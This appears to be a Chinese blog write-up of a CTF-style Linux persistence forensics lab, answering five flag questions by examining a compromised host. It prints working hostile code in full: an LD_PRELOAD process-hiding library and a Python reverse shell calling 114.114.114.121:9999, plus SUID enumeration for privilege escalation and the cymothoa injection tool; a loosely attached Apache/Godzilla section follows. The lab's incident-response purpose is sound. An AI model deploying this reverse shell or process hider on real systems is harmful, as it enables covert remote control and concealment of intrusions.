第三章 权限维持-linux权限维持-隐藏-玄机靶场

第三章 权限维持-linux权限维持-隐藏-玄机靶场


linux权限维持玄机靶场自用笔记。

本篇文章来自lexsd6's home 师傅的分享,如有侵权请联系

题目简介

1.黑客隐藏的隐藏的文件 完整路径md5
2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}
3.黑客提权所用的命令 完整路径的md5 flag{md5} 
4.黑客尝试注入恶意代码的工具完整路径md5
5.使用命令运行 ./x.xx 执行该文件  将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}

1.黑客隐藏的隐藏的文件 完整路径md5

进入查询,发现vim的记录文件 .viminfo 读取它发现几个有意识到路径

Command Line History (newest to oldest):
:q!
:q
:wq

# Search String History (newest to oldest):

# Expression History (newest to oldest):

# Input Line History (newest to oldest):

# Input Line History (newest to oldest):

# Registers:

# File marks:
'0  1  0  /tmp/.temp/libprocesshider/1.py
'1  4  0  /tmp/.temp/libprocesshider/1.py
'2  12  40  /tmp/.temp/libprocesshider/processhider.c
'3  24  47  /tmp/.temp/libprocesshider/1.py
'4  2  1  /var/www/html/sh.php

发现libprocesshider 是一个Linux 持久性訪問到工具,1.py是这个工具所产生的执行文件。对这个目录文件 /tmp/.temp/libprocesshider/1.py 加密,提交 flag{109ccb5768c70638e24fb46ee7957e37}

2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}

进行分析/tmp/.temp/libprocesshider/下的文件:

root@xuanji:~# cat /tmp/.temp/libprocesshider/processhider.c
#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

/*
 * Every process with this name will be excluded
 */
static const char* process_to_filter = "1.py";

/*
 * Get a directory name given a DIR* handle
 */
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
    int fd = dirfd(dirp);
    if(fd == -1) {
        return 0;
    }

    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    ssize_t ret = readlink(tmp, buf, size);
    if(ret == -1) {
        return 0;
    }

    buf[ret] = 0;
    return 1;
}

/*
 * Get a process name given its pid
 */
static int get_process_name(char* pid, char* buf)
{
    if(strspn(pid, "0123456789") != strlen(pid)) {
        return 0;
    }

    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
 
    FILE* f = fopen(tmp, "r");
    if(f == NULL) {
        return 0;
    }

    if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }

    fclose(f);

    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf);
    return 1;
}

#define DECLARE_READDIR(dirent, readdir)                                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
                                                                        \
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \
    if(original_##readdir == NULL) {                                    \
        original_##readdir = dlsym(RTLD_NEXT, #readdir);               \
        if(original_##readdir == NULL)                                  \
        {                                                               \
            fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
        }                                                               \
    }                                                                   \
                                                                        \
    struct dirent* dir;                                                 \
                                                                        \
    while(1)                                                            \
    {                                                                   \
        dir = original_##readdir(dirp);                                 \
        if(dir) {                                                       \
            char dir_name[256];                                         \
            char process_name[256];                                     \
            if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
                strcmp(dir_name, "/proc") == 0 &&                       \
                get_process_name(dir->d_name, process_name) &&          \
                strcmp(process_name, process_to_filter) == 0) {         \
                continue;                                               \
            }                                                           \
        }                                                               \
        break;                                                          \
    }                                                                   \
    return dir;                                                         \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
root@xuanji:~# 
root@xuanji:~# cat  /tmp/.temp/libprocesshider/1.py
#!/usr/bin/python3

import socket,subprocess,os,sys, time

pidrg = os.fork()
if pidrg > 0:
        sys.exit(0)

os.chdir("/")
os.setsid()
os.umask(0)
drgpid = os.fork()
if drgpid > 0:
        sys.exit(0)

while 1:
        try:
                sys.stdout.flush()
                sys.stderr.flush()
                fdreg = open("/dev/null", "w")
                sys.stdout = fdreg
                sys.stderr = fdreg
                sdregs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                sdregs.connect(("114.114.114.121",9999))
                os.dup2(sdregs.fileno(),0)
                os.dup2(sdregs.fileno(),1)
                os.dup2(sdregs.fileno(),2)
                p=subprocess.call(["/bin/bash","-i"])
                sdregs.close()
        except Exception:
                pass
        time.sleep(2)
root@xuanji:~#

发现在1.py 提到一个sdregs.connect(("114.114.114.121",9999)) ,flag{114.114.114.121:9999}

3.黑客提权所用的命令

用命令查询find / -perm -u=s -type f 2>/dev/null ,suid提权查询

root@xuanji:/tmp/.temp/libprocesshider# find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/ping6
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/find
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/sudo
/usr/lib/eject/dmcrypt-get-device

发现find 可以进行


故flag为 /usr/bin/find md5加密,提交 flag{7fd5884f493f4aaf96abee286ee04120}

4.黑客尝试注入恶意代码的工具

执行find / -name '.*'查询隐藏文件。

/etc/.pwd.lock
/etc/cron.d/.placeholder
/etc/cron.daily/.placeholder
/etc/cron.hourly/.placeholder
/etc/cron.monthly/.placeholder
/etc/cron.weekly/.placeholder
/etc/init.d/.legacy-bootordering
/etc/skel/.bash_logout
/etc/skel/.bashrc
/etc/skel/.profile

/home/ctf/.bash_logout
/home/ctf/.bashrc
/home/ctf/.profile
/home/ctf/.bash_history
/opt/.cymothoa-1-beta

发现一个奇怪的目录/opt/.cymothoa-1-beta,cd 进去发现是一个工具目录:

root@xuanji:/opt/.cymothoa-1-beta# ls
Makefile  bgrep.c  cymothoa    cymothoa.h             payloads    personalization.h  syscalls.txt  udp_server.c
bgrep     core     cymothoa.c  hexdump_to_cstring.pl  payloads.h  syscall_code.pl    udp_server

查询发现是一个后门隐藏工具。

![image-20240708230421498](/Users/lexs/Library/Application Support/typora-user-images/image-20240708230421498.png)

故, /opt/.cymothoa-1-beta/cymothoa 加密,提交 flag{087c267368ece4fcf422ff733b51aed9}

5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec** 值 作为flag提交

Cat 查看1.py:

root@xuanji:/opt/.cymothoa-1-beta# cat /tmp/.temp/libprocesshider/1.py
#!/usr/bin/python3

import socket,subprocess,os,sys, time

发现默认是“#!/usr/bin/python3” ,即pyton3运行1.py,

root@xuanji:~# python3 /tmp/.temp/libprocesshider/1.py
root@xuanji:~# netstat -alntp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      11/apache2      
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      10/sshd         
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      1 10.244.6.152:46896      114.114.114.121:9999    SYN_SENT    19439/python3   
tcp        0      1 10.244.6.152:48628      114.114.114.121:9999    SYN_SENT    -               
tcp        0      0 10.244.6.152:22         10.244.0.1:63226        ESTABLISHED 393/1           
tcp        0      1 10.244.6.152:48618      114.114.114.121:9999    SYN_SENT    -               
tcp        0      1 10.244.6.152:40544      114.114.114.121:9999    SYN_SENT    -               
tcp        0      0 10.244.6.152:22         10.244.0.1:4984         ESTABLISHED 9187/sshd: root@not
tcp6       0      0 :::22                   :::*                    LISTEN      10/sshd         
root@xuanji:~# whereis /python3 
python3: /usr/bin/python3 /usr/bin/python3.4 /usr/bin/python3.4m /etc/python3 /etc/python3.4 /usr/lib/python3 /usr/lib/python3.4 /usr/local/lib/python3.4 /usr/share/python3 /usr/share/man/man1/python3.1.gz
root@xuanji:~#ls -lab /usr/bin/python3
lrwxrwxrwx. 1 root root 9 Mar 23  2014 /usr/bin/python3 -> python3.4

where查询python3 位置,最后发现链接到 /usr/bin/python3.4

按题目要求提供完整的执行程序为flag :flag{/usr/bin/python3.4}
 

### 关于玄机靶场第二章中的Apache操作指南 在处理涉及Web服务器的任务时,了解如何管理和配置Apache是非常重要的。对于玄机靶场第二章的内容,重点在于掌握基本的Apache服务管理以及日志分析技巧。 #### 配置与启动Apache服务 为了确保Apache能够正常运行,在Linux环境中可以通过命令行来安装和启动该服务: ```bash sudo apt-get update && sudo apt-get install apache2 -y sudo systemctl start apache2 sudo systemctl enable apache2 ``` 上述脚本适用于基于Debian系统的发行版,如Ubuntu[^1]。如果是在其他类型的Linux系统上,则可能需要调整具体的包管理器指令。 #### 查阅并理解Apache访问日志 当涉及到安全审计或者故障排查时,查看`/var/log/apache2/access.log`文件可以帮助获取客户端请求的信息。而针对非法登录尝试的日志记录通常位于`/var/log/secure`中,可以利用如下命令提取特定时间段内的失败密码验证事件: ```bash grep "Failed password" /var/log/secure | head -n 1 grep "Failed password" /var/log/secure | tail -n 1 ``` 这些命令分别用于显示最早的一次和最近一次发生的失败认证行为[^3]。 #### 使用哥斯拉工具辅助渗透测试 在某些场景下,可能会用到专门设计的安全评估软件来进行更深入的应用层攻击模拟实验。例如提到过的哥斯拉工具,它具有独特的标识符(如key值),这有助于识别其在网络流量或代码片段中存在的痕迹[^2]。 尽管这里主要讨论的是Apache的操作指导,但在实际练习过程中,合理运用各种开源工具同样重要,因为它们能提供额外的功能支持和技术视角。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值